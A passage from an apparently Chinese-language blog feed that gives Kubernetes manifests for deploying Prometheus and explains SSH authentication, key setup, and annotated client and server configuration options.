class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#装载镜像</span></span><br><span class="line">docker load -i prometheus_v2_2_1.tar.gz</span><br><span class="line"></span><br><span class="line"><span class="comment">#在k8s-node节点创建一个存储prometheus数据的目录</span></span><br><span class="line">mkdir /data</span><br><span class="line">chmod 777 /data/</span><br><span class="line"><span class="comment">#在k8s-master节点执行如下</span></span><br><span class="line">kubectl apply -f prometheus-cfg.yaml</span><br><span class="line">kubectl apply -f prometheus-deploy.yaml</span><br><span class="line">kubectl apply -f prometheus-svc.yaml</span><br><span class="line"></span><br><span class="line"><span class="comment">#prometheus-cfg.yaml</span></span><br><span class="line">kind: ConfigMap</span><br><span class="line">apiVersion: v1</span><br><span class="line">metadata:</span><br><span class="line"> labels:</span><br><span class="line"> app: prometheus</span><br><span class="line"> name: prometheus-config</span><br><span class="line"> namespace: monitor-sa</span><br><span class="line">data:</span><br><span class="line"> prometheus.yml: |</span><br><span class="line"> global:</span><br><span class="line"> scrape_interval: 15s<span class="comment">#收集数据间隔</span></span><br><span class="line"> scrape_timeout: 10s<span class="comment">#收集书超时时间</span></span><br><span class="line"> evaluation_interval: 1m<span class="comment">#警报规则计算周期，计算后更新警报状态</span></span><br><span class="line"> scrape_configs:</span><br><span class="line"> - job_name: <span class="string">'kubernetes-node'</span></span><br><span class="line"> kubernetes_sd_configs:</span><br><span class="line"> - role: node</span><br><span class="line"> relabel_configs:</span><br><span class="line"> - source_labels: [__address__]</span><br><span class="line"> regex: <span class="string">'(.*):10250'</span></span><br><span class="line"> replacement: <span class="string">'${1}:9100'</span></span><br><span class="line"> target_label: __address__</span><br><span class="line"> action: replace</span><br><span class="line"> - action: labelmap</span><br><span class="line"> regex: __meta_kubernetes_node_label_(.+)</span><br><span class="line"> - job_name: <span class="string">'kubernetes-node-cadvisor'</span></span><br><span class="line"> kubernetes_sd_configs:</span><br><span class="line"> - role: node</span><br><span class="line"> scheme: https</span><br><span class="line"> tls_config:</span><br><span class="line"> ca_file: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt</span><br><span class="line"> bearer_token_file: /var/run/secrets/kubernetes.io/serviceaccount/token</span><br><span class="line"> relabel_configs:</span><br><span class="line"> - action: labelmap</span><br><span class="line"> regex: __meta_kubernetes_node_label_(.+)</span><br><span class="line"> - target_label: __address__</span><br><span class="line"> replacement: kubernetes.default.svc:443</span><br><span class="line"> - source_labels: [__meta_kubernetes_node_name]</span><br><span class="line"> regex: (.+)</span><br><span class="line"> target_label: __metrics_path__</span><br><span class="line"> replacement: /api/v1/nodes/<span class="variable">${1}</span>/proxy/metrics/cadvisor</span><br><span class="line"> - job_name: <span class="string">'kubernetes-apiserver'</span></span><br><span class="line"> kubernetes_sd_configs:</span><br><span class="line"> - role: endpoints</span><br><span class="line"> scheme: https</span><br><span class="line"> tls_config:</span><br><span class="line"> ca_file: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt</span><br><span class="line"> bearer_token_file: /var/run/secrets/kubernetes.io/serviceaccount/token</span><br><span class="line"> relabel_configs:</span><br><span class="line"> - source_labels: [__meta_kubernetes_namespace, __meta_kubernetes_service_name, __meta_kubernetes_endpoint_port_name]</span><br><span class="line"> action: keep</span><br><span class="line"> regex: default;kubernetes;https</span><br><span class="line"> - job_name: <span class="string">'kubernetes-service-endpoints'</span></span><br><span class="line"> kubernetes_sd_configs:</span><br><span class="line"> - role: endpoints</span><br><span class="line"> relabel_configs:</span><br><span class="line"> - source_labels: [__meta_kubernetes_service_annotation_prometheus_io_scrape]</span><br><span class="line"> action: keep</span><br><span class="line"> regex: <span class="literal">true</span></span><br><span class="line"> - source_labels: [__meta_kubernetes_service_annotation_prometheus_io_scheme]</span><br><span class="line"> action: replace</span><br><span class="line"> target_label: __scheme__</span><br><span class="line"> regex: (https?)</span><br><span class="line"> - source_labels: [__meta_kubernetes_service_annotation_prometheus_io_path]</span><br><span class="line"> action: replace</span><br><span class="line"> target_label: __metrics_path__</span><br><span class="line"> regex: (.+)</span><br><span class="line"> - source_labels: [__address__, __meta_kubernetes_service_annotation_prometheus_io_port]</span><br><span class="line"> action: replace</span><br><span class="line"> target_label: __address__</span><br><span class="line"> regex: ([^:]+)(?::\d+)?;(\d+)</span><br><span class="line"> replacement: <span class="variable">$1</span>:<span class="variable">$2</span></span><br><span class="line"> - action: labelmap</span><br><span class="line"> regex: __meta_kubernetes_service_label_(.+)</span><br><span class="line"> - source_labels: [__meta_kubernetes_namespace]</span><br><span class="line"> action: replace</span><br><span class="line"> target_label: kubernetes_namespace</span><br><span class="line"> - source_labels: [__meta_kubernetes_service_name]</span><br><span class="line"> action: replace</span><br><span class="line"> target_label: kubernetes_name</span><br><span class="line"> </span><br><span class="line"><span class="comment">#prometheus-deploy.yaml，设置nodeName部署在master上</span></span><br><span class="line">apiVersion: apps/v1</span><br><span class="line">kind: Deployment</span><br><span class="line">metadata:</span><br><span class="line"> name: prometheus-server</span><br><span class="line"> namespace: monitor-sa</span><br><span class="line"> labels:</span><br><span class="line"> app: prometheus</span><br><span class="line">spec:</span><br><span class="line"> replicas: 1</span><br><span class="line"> selector:</span><br><span class="line"> matchLabels:</span><br><span class="line"> app: prometheus</span><br><span class="line"> component: server</span><br><span class="line"> <span class="comment">#matchExpressions:</span></span><br><span class="line"> <span class="comment">#- {key: app, operator: In, values: [prometheus]}</span></span><br><span class="line"> <span class="comment">#- {key: component, operator: In, values: [server]}</span></span><br><span class="line"> template:</span><br><span class="line"> metadata:</span><br><span class="line"> labels:</span><br><span class="line"> app: prometheus</span><br><span class="line"> component: server</span><br><span class="line"> annotations:</span><br><span class="line"> prometheus.io/scrape: <span class="string">'false'</span></span><br><span class="line"> spec:</span><br><span class="line"> nodeName: localhost.localdomain</span><br><span class="line"> serviceAccountName: monitor</span><br><span class="line"> containers:</span><br><span class="line"> - name: prometheus</span><br><span class="line"> image: prom/prometheus:v2.2.1</span><br><span class="line"> imagePullPolicy: IfNotPresent</span><br><span class="line"> <span class="built_in">command</span>:</span><br><span class="line"> - prometheus</span><br><span class="line"> - --config.file=/etc/prometheus/prometheus.yml</span><br><span class="line"> - --storage.tsdb.path=/prometheus</span><br><span class="line"> - --storage.tsdb.retention=720h</span><br><span class="line"> ports:</span><br><span class="line"> - containerPort: 9090</span><br><span class="line"> protocol: TCP</span><br><span class="line"> volumeMounts:</span><br><span class="line"> - mountPath: /etc/prometheus/prometheus.yml</span><br><span class="line"> name: prometheus-config</span><br><span class="line"> subPath: prometheus.yml</span><br><span class="line"> - mountPath: /prometheus/</span><br><span class="line"> name: prometheus-storage-volume</span><br><span class="line"> volumes:</span><br><span class="line"> - name: prometheus-config</span><br><span class="line"> configMap:</span><br><span class="line"> name: prometheus-config</span><br><span class="line"> items:</span><br><span class="line"> - key: prometheus.yml</span><br><span class="line"> path: prometheus.yml</span><br><span class="line"> mode: 0644</span><br><span class="line"> - name: prometheus-storage-volume</span><br><span class="line"> hostPath:</span><br><span class="line"> path: /data</span><br><span class="line"> <span class="built_in">type</span>: Directory</span><br><span class="line"></span><br><span class="line"><span class="comment">#prometheus-svc.yaml</span></span><br><span class="line">apiVersion: v1</span><br><span class="line">kind: Service</span><br><span class="line">metadata:</span><br><span class="line"> name: prometheus</span><br><span class="line"> namespace: monitor-sa</span><br><span class="line"> labels:</span><br><span class="line"> app: prometheus</span><br><span class="line">spec:</span><br><span class="line"> <span class="built_in">type</span>: NodePort</span><br><span class="line"> ports:</span><br><span class="line"> - port: 9090</span><br><span class="line"> targetPort: 9090</span><br><span class="line"> nodePort: 30090</span><br><span class="line"> protocol: TCP</span><br><span class="line"> selector:</span><br><span class="line"> app: prometheus</span><br><span class="line"> component: server</span><br><span class="line"> </span><br><span class="line"><span class="comment">#访问Prometheus自带的web界面</span></span><br><span class="line">192.168.163.132:30090</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">#警报状态</span></span><br><span class="line">inactive：没有触发阈值</span><br><span class="line">pending：已触发阈值但未满足告警持续时间</span><br><span class="line">firing：已触发阈值且满足告警持续时间</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>这个系列文章将Prometheus部署在k8s集群中进行实验。</p>
</summary>
<category term="Prometheus" scheme="http://yoursite.com/categories/Prometheus/"/>
<category term="Prometheus" scheme="http://yoursite.com/tags/Prometheus/"/>
</entry>
<entry>
<title>ssh基本使用及工作原理</title>
<link href="http://yoursite.com/2020/03/07/ssh%E5%9F%BA%E6%9C%AC%E4%BD%BF%E7%94%A8%E5%8F%8A%E5%B7%A5%E4%BD%9C%E5%8E%9F%E7%90%86/"/>
<id>http://yoursite.com/2020/03/07/ssh%E5%9F%BA%E6%9C%AC%E4%BD%BF%E7%94%A8%E5%8F%8A%E5%B7%A5%E4%BD%9C%E5%8E%9F%E7%90%86/</id>
<published>2020-03-07T14:32:58.000Z</published>
<updated>2020-03-21T10:06:45.286Z</updated>
<content type="html"><![CDATA[<h3 id="基础"><a href="#基础" class="headerlink" title="基础"></a>基础</h3><ul><li>ssh是一个基于传输层和应用层的安全协议，它使用对称密钥来进行会话之间加密，使用非对称密钥来进行身份的验证（关于密钥相关的知识在“运维安全基础”里已经做了基本介绍）</li><li>ssh服务端守护进程为sshd，默认监听在22端口，一般安全起见可以通过配置文件修改</li><li>ssh验证过程主要分为主机认证和身份认证两方面。主机认证用于记录连接主机的身份，可以记录每个主机连接多少个用户；身份认证一般通过公钥私钥的非对称密钥进行通信确认。</li><li>ssh客户端配置文件为/etc/ssh/ssh_config，服务端配置文件为/etc/ssh/sshd_config</li><li>做ssh服务端时，会有服务端自己的私钥和公钥用于建立连接使用，存放在/etc/ssh目录下，最下面两个即为用于连接认证的公钥和私钥。</li><li>ssh执行后在对端开启一个伪终端来执行后续操作，如果身份认证不能使用伪终端，那么认证会失败。<a id="more"></a></li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ssh]# ls -l</span><br><span class="line">total 604</span><br><span class="line">-rw-r--r--. 1 root root 581843 Aug 9 2019 moduli</span><br><span class="line">-rw-r--r--. 1 root root 2276 Aug 9 2019 ssh_config</span><br><span class="line">-rw-------. 1 root root 3907 Aug 9 2019 sshd_config</span><br><span class="line">-rw-r-----. 1 root ssh_keys 227 Jan 12 19:41 ssh_host_ecdsa_key</span><br><span class="line">-rw-r--r--. 1 root root 162 Jan 12 19:41 ssh_host_ecdsa_key.pub</span><br><span class="line">-rw-r-----. 1 root ssh_keys 387 Jan 12 19:41 ssh_host_ed25519_key</span><br><span class="line">-rw-r--r--. 1 root root 82 Jan 12 19:41 ssh_host_ed25519_key.pub</span><br><span class="line">-rw-r-----. 1 root ssh_keys 1675 Jan 12 19:41 ssh_host_rsa_key</span><br><span class="line">-rw-r--r--. 1 root root 382 Jan 12 19:41 ssh_host_rsa_key.pub</span><br></pre></td></tr></table></figure><h3 id="认证过程"><a href="#认证过程" class="headerlink" title="认证过程"></a>认证过程</h3><p>测试环境：客户端A，连接服务端B</p><h4 id="主机认证"><a href="#主机认证" class="headerlink" title="主机认证"></a>主机认证</h4><p>首先A输入ssh ip_B后，B会将其公钥(即ssh_host_rsa_key.pub)发送给客户端，客户端的家目录维持着一个known_hosts文件(~/.ssh/known_hosts)，它存放了已认证过的主机的用于主机认证的公钥，并且前面的地址是用于索引密钥的，我们就把这个一条记录称为host_key。如果A没有B公钥的存储，那么就提示用户是否保存，如果有就进行对称密钥的交换。因此，如果一个已经连接过的主机突然连接不上了，可以考虑删除这个文件，重新连接重新生成。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#显示的是已连接过的主机ip名称以及对应ip主机的公钥，即135主机的ssh_host_rsa_key.pub保存的公钥</span></span><br><span class="line">192.168.163.135 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBM9LdkuM2hCuoQh0ahIpaLMm6wmXfMernMfSCyB76aDrDdC1rF/94fMW0cx8e5uMXbG6HOkVYelQf9CNIcdHtpY=</span><br><span class="line"></span><br><span class="line"><span class="comment">#135主机的公钥信息，此处不同是因为ecdsa-sha2-nistp256问题，理论上如果都使用rsa格式显示的话是一致的</span></span><br><span class="line">[root@node1 ~]% ifconfig | awk <span class="string">'/inet 192/{print $2}'</span></span><br><span class="line">192.168.163.135</span><br><span class="line">[root@node1 ~]% cat /etc/ssh/ssh_host_rsa_key.pub</span><br><span class="line">ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmaMKNlIJMVoA1B390hWvwis8DDJYeNRUKpYtldprTOvqO3U4HJKnZuPQxuMplgOfv5NMIhW0fF8SGcgAXaJBUQIPDkjtnOhp42mTH79iHxpFO3OEAaG3/MwBb8dV4vuM51eSpmRzTDhPXKlCQRDOtI9902sMz2c549+iPUlS8MAaJ3xcvbGTLYMktCNiRVwhicHCdb16lfC7f/RVMPUDoVALPAIkwWc3cbEWSApIhSFnTz0FpyeRaqyGE4lwmbKl2MdshN9qnJ24t54eyR1+kejmsvWBIEQcPZ1DBvMx6Ex/Ak6qiTwpGYQbDT2CzvRIr5+epVUKfZScX9Qo7h2rX</span><br></pre></td></tr></table></figure><p>对称密钥一般使用DH算法进行交换(DH算法也在“运维安全基础”提到过)，具体使用什么对称密钥算法是在B一开始发送公钥给客户端时就发送过来B支持的密钥列表，客户端根据此就可以决定使用哪个对称密钥加密方法来维持后续通信。</p><h4 id="身份认证"><a href="#身份认证" class="headerlink" title="身份认证"></a>身份认证</h4><p>主机认证无误后进入身份认证，一般有密钥以及密码认证，此处使用密钥认证来解释过程。首先，A将自己的公钥发送给B(存放在/root/.ssh/authorized_keys文件中)，B生成一个随机数附加在之前的对称密钥上，然后使用A的公钥加密后发给A，A收到后使用自己的私钥解密，解密后使用md5进行hash运算，运算后将hash结果发给B，B收到后也将原来的数据进行hash运算，如果运算无误，那么就正式完成加密通道的建立，此后使用对称密钥进行通信。</p><h5 id="客户端发送公钥"><a href="#客户端发送公钥" class="headerlink" title="客户端发送公钥"></a>客户端发送公钥</h5><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#生成密钥，公钥+私钥，默认也生成在~/.ssh/id_rsa下，-P ''指定加密私钥文件的密码为空密码，即不加密</span></span><br><span class="line">ssh-keygen -t rsa -f ~/.ssh/id_rsa -P <span class="string">''</span> </span><br><span class="line"></span><br><span class="line"><span class="comment">#拷贝公钥给服务端，注意，如果不是监听22端口则使用-p指令指定端口</span></span><br><span class="line">ssh-copy-id server_ip</span><br></pre></td></tr></table></figure><h5 id="服务端发放公钥"><a href="#服务端发放公钥" class="headerlink" title="服务端发放公钥"></a>服务端发放公钥</h5><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#生成密钥</span></span><br><span class="line">ssh-keygen -f ~/.ssh/id_rsa -P <span class="string">''</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#服务端copy上述的公钥到自己的authorized_keys文件中</span></span><br><span class="line">ssh-copy-id server_ip</span><br><span class="line"></span><br><span class="line"><span class="comment">#拷贝密钥到客户端即可</span></span><br><span class="line">scp -p ~/.ssh/id_rsa* client_ip:/root/.ssh/</span><br></pre></td></tr></table></figure><h3 id="基本配置"><a href="#基本配置" class="headerlink" title="基本配置"></a>基本配置</h3><h4 id="客户端"><a href="#客户端" class="headerlink" title="客户端"></a>客户端</h4><p>一般关闭GSSAPI来提高认证速度，因为GSSAPI认证优先级在密钥和密码之前，且其验证过程很慢，效率不高。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"># Host * # Host指令是ssh_config中最重要的指令，只有ssh连接的目标主机名能匹配此处给定模式时，</span><br><span class="line"> # 下面一系列配置项直到出现下一个Host指令才对此次连接生效</span><br><span class="line"># ForwardAgent no</span><br><span class="line"># ForwardX11 no</span><br><span class="line"># RhostsRSAAuthentication no</span><br><span class="line"># RSAAuthentication yes</span><br><span class="line"># PasswordAuthentication yes # 是否启用基于密码的身份认证机制</span><br><span class="line"># HostbasedAuthentication no # 是否启用基于主机的身份认证机制</span><br><span class="line"># GSSAPIAuthentication no # 是否启用基于GSSAPI的身份认证机制</span><br><span class="line"># GSSAPIDelegateCredentials no</span><br><span class="line"># GSSAPIKeyExchange no</span><br><span class="line"># GSSAPITrustDNS no</span><br><span class="line"># BatchMode no # 如果设置为"yes"，将禁止passphrase/password询问。比较适用于在那些不需要询问提供密</span><br><span class="line"> # 码的脚本或批处理任务任务中。默认为"no"。</span><br><span class="line"># CheckHostIP yes</span><br><span class="line"># AddressFamily any</span><br><span class="line"># ConnectTimeout 0</span><br><span class="line"># StrictHostKeyChecking ask # 设置为"yes"，ssh将从不自动添加host key到~/.ssh/known_hosts文件，</span><br><span class="line"> # 且拒绝连接那些未知的主机(即未保存host key的主机或host key已改变的主机)。</span><br><span class="line"> # 它将强制用户手动添加host key到~/.ssh/known_hosts中。</span><br><span class="line"> # 设置为ask将询问是否保存到~/.ssh/known_hosts文件。</span><br><span class="line"> # 设置为no将自动添加到~/.ssh/known_hosts文件。</span><br><span class="line"># IdentityFile ~/.ssh/identity # ssh v1版使用的私钥文件</span><br><span class="line"># IdentityFile ~/.ssh/id_rsa # ssh v2使用的rsa算法的私钥文件</span><br><span class="line"># IdentityFile ~/.ssh/id_dsa # ssh v2使用的dsa算法的私钥文件</span><br><span class="line"># Port 22 # 当命令行中不指定端口时，默认连接的远程主机上的端口</span><br><span class="line"># Protocol 2,1</span><br><span class="line"># Cipher 3des # 指定ssh v1版本中加密会话时使用的加密协议</span><br><span class="line"># Ciphers aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc # 指定ssh v1版本中加密会话时使用的加密协议</span><br><span class="line"># MACs hmac-md5,hmac-sha1,[email protected],hmac-ripemd160</span><br><span class="line"># EscapeChar ~</span><br><span class="line"># Tunnel no</span><br><span class="line"># TunnelDevice any:any</span><br><span class="line"># PermitLocalCommand no # 功能等价于~/.ssh/rc，表示是否允许ssh连接成功后在本地执行LocalCommand指令指定的命令。</span><br><span class="line"># LocalCommand # 指定连接成功后要在本地执行的命令列表，当PermitLocalCommand设置为no时将自动忽略该配置</span><br><span class="line"> # %d表本地用户家目录，%h表示远程主机名，%l表示本地主机名，%n表示命令行上提供的主机名，</span><br><span class="line"> # p%表示远程ssh端口，r%表示远程用户名，u%表示本地用户名。</span><br><span class="line"># VisualHostKey no # 是否开启主机验证阶段时host key的图形化指纹</span><br><span class="line">Host *</span><br><span class="line"> GSSAPIAuthentication yes</span><br></pre></td></tr></table></figure><h4 id="服务端"><a href="#服务端" class="headerlink" title="服务端"></a>服务端</h4><p>一般修改默认端口以及不适用dns解析即可。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line">#Port 22 # 服务端SSH端口，可以指定多条表示监听在多个端口上</span><br><span class="line">#ListenAddress 0.0.0.0 # 监听的IP地址。0.0.0.0表示监听所有IP</span><br><span class="line">Protocol 2 # 使用SSH 2版本</span><br><span class="line"> </span><br><span class="line">#####################################</span><br><span class="line"># 私钥保存位置 #</span><br><span class="line">#####################################</span><br><span class="line"># HostKey for protocol version 1</span><br><span class="line">#HostKey /etc/ssh/ssh_host_key # SSH 1保存位置/etc/ssh/ssh_host_key</span><br><span class="line"># HostKeys for protocol version 2</span><br><span class="line">#HostKey /etc/ssh/ssh_host_rsa_key # SSH 2保存RSA位置/etc/ssh/ssh_host_rsa _key</span><br><span class="line">#HostKey /etc/ssh/ssh_host_dsa_key # SSH 2保存DSA位置/etc/ssh/ssh_host_dsa _key</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line">###################################</span><br><span class="line"># 杂项配置 #</span><br><span class="line">###################################</span><br><span class="line">#PidFile /var/run/sshd.pid # 服务程序sshd的PID的文件路径</span><br><span class="line">#ServerKeyBits 1024 # 服务器生成的密钥长度</span><br><span class="line">#SyslogFacility AUTH # 使用哪个syslog设施记录ssh日志。日志路径默认为/var/log/secure</span><br><span class="line">#LogLevel INFO # 记录SSH的日志级别为INFO</span><br><span class="line"> </span><br><span class="line">###################################</span><br><span class="line"># 以下项影响认证速度 #</span><br><span class="line">###################################</span><br><span class="line">#UseDNS yes # 指定是否将客户端主机名解析为IP，以检查此主机名是否与其IP地址真实对应。默认yes。</span><br><span class="line"> # 由此可知该项影响的是主机验证阶段。建议在未配置DNS解析时，将其设置为no，否则主机验证阶段会很慢</span><br><span class="line"> </span><br><span class="line">###################################</span><br><span class="line"># 以下是和安全有关的配置 #</span><br><span class="line">###################################</span><br><span class="line">#PermitRootLogin yes # 是否允许root用户登录</span><br><span class="line">#GSSAPIAuthentication no # 是否开启GSSAPI身份认证机制，默认为yes</span><br><span class="line">#PubkeyAuthentication yes # 是否开启基于公钥认证机制</span><br><span class="line">#AuthorizedKeysFile .ssh/authorized_keys # 基于公钥认证机制时，来自客户端的公钥的存放位置</span><br><span class="line">PasswordAuthentication yes # 是否使用密码验证，如果使用密钥对验证可以关了它</span><br><span class="line">#PermitEmptyPasswords no # 是否允许空密码，如果上面的那项是yes，这里最好设置no</span><br><span class="line">#MaxSessions 10 # 最大客户端连接数量</span><br><span class="line">#LoginGraceTime 2m # 身份验证阶段的超时时间，若在此超时期间内未完成身份验证将自动断开</span><br><span class="line">#MaxAuthTries 6 # 指定每个连接最大允许的认证次数。默认值是6。</span><br><span class="line"> # 如果失败认证次数超过该值一半，将被强制断开，且生成额外日志消息。</span><br><span class="line">MaxStartups 10 # 最大允许保持多少个未认证的连接。默认值10。</span><br><span class="line"></span><br><span class="line">###################################</span><br><span class="line"># 以下可以自行添加到配置文件 #</span><br><span class="line">###################################</span><br><span class="line">DenyGroups hellogroup testgroup # 表示hellogroup和testgroup组中的成员不允许使用sshd服务，即拒绝这些用户连接</span><br><span class="line">DenyUsers hello test # 表示用户hello和test不能使用sshd服务，即拒绝这些用户连接</span><br><span class="line"> </span><br><span class="line">###################################</span><br><span class="line"># 以下一项和远程端口转发有关 #</span><br><span class="line">###################################</span><br><span class="line">#GatewayPorts no # 设置为yes表示sshd允许被远程主机所设置的本地转发端口绑定在非环回地址上</span><br><span class="line"> # 默认值为no，表示远程主机设置的本地转发端口只能绑定在环回地址上，见后文"远程端口转发"</span><br></pre></td></tr></table></figure><h3 id="ssh命令"><a href="#ssh命令" class="headerlink" title="ssh命令"></a>ssh命令</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">ssh [options] [user@]hostname [command]</span><br><span class="line"> </span><br><span class="line">参数说明：</span><br><span class="line">-b bind_address # 在本地主机上绑定用于ssh连接的地址，当系统有多个ip时才生效。</span><br><span class="line">-E log_file # 将debug日志写入到log_file中，而不是默认的标准错误输出stderr。</span><br><span class="line">-F configfile # 指定用户配置文件，默认为~/.ssh/config。</span><br><span class="line">-f # 请求ssh在工作在后台模式。该选项隐含了"-n"选项，所以标准输入将变为/dev/null。</span><br><span class="line">-i identity_file# 指定公钥认证时要读取的私钥文件。默认为~/.ssh/id_rsa。</span><br><span class="line">-l login_name # 指定登录在远程机器上的用户名。也可以在全局配置文件中设置。</span><br><span class="line">-N # 显式指明ssh不执行远程命令。一般用于端口转发，见后文端口转发的示例分析。</span><br><span class="line">-n #将/dev/null作为标准输入stdin，可以防止从标准输入中读取内容。ssh在后台运行时默认该项。</span><br><span class="line">-p port # 指定要连接远程主机上哪个端口，也可在全局配置文件中指定默认的连接端口。</span><br><span class="line">-q # 静默模式。大多数警告信息将不输出。</span><br><span class="line">-T # 禁止为ssh分配伪终端。</span><br><span class="line">-t # 强制分配伪终端，重复使用该选项"-tt"将进一步强制。</span><br><span class="line">-v # 详细模式，将输出debug消息，可用于调试。"-vvv"可更详细。</span><br><span class="line">-V # 显示版本号并退出。</span><br><span class="line">-o # 指定额外选项，选项非常多。</span><br><span class="line">user@hostname # 指定ssh以远程主机hostname上的用户user连接到的远程主机上，若省略user部分，则表示使用本地当前用户。</span><br><span class="line"> # 如果在hostname上不存在user用户，则连接将失败(将不断进行身份验证)。</span><br><span class="line">command # 要在远程主机上执行的命令。指定该参数时，ssh的行为将不再是登录，而是执行命令，命令执行完毕时ssh连接就关闭。</span><br></pre></td></tr></table></figure><h3 id="scp命令"><a href="#scp命令" class="headerlink" title="scp命令"></a>scp命令</h3><p>scp的拷贝实质是建立ssh连接，然后通过此连接来传输数据。如果是远程1拷贝到远程2，则是将scp命令转换后发送到远程1上执行，在远程1上建立和远程2的ssh连接，并通过此连接来传输数据。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span 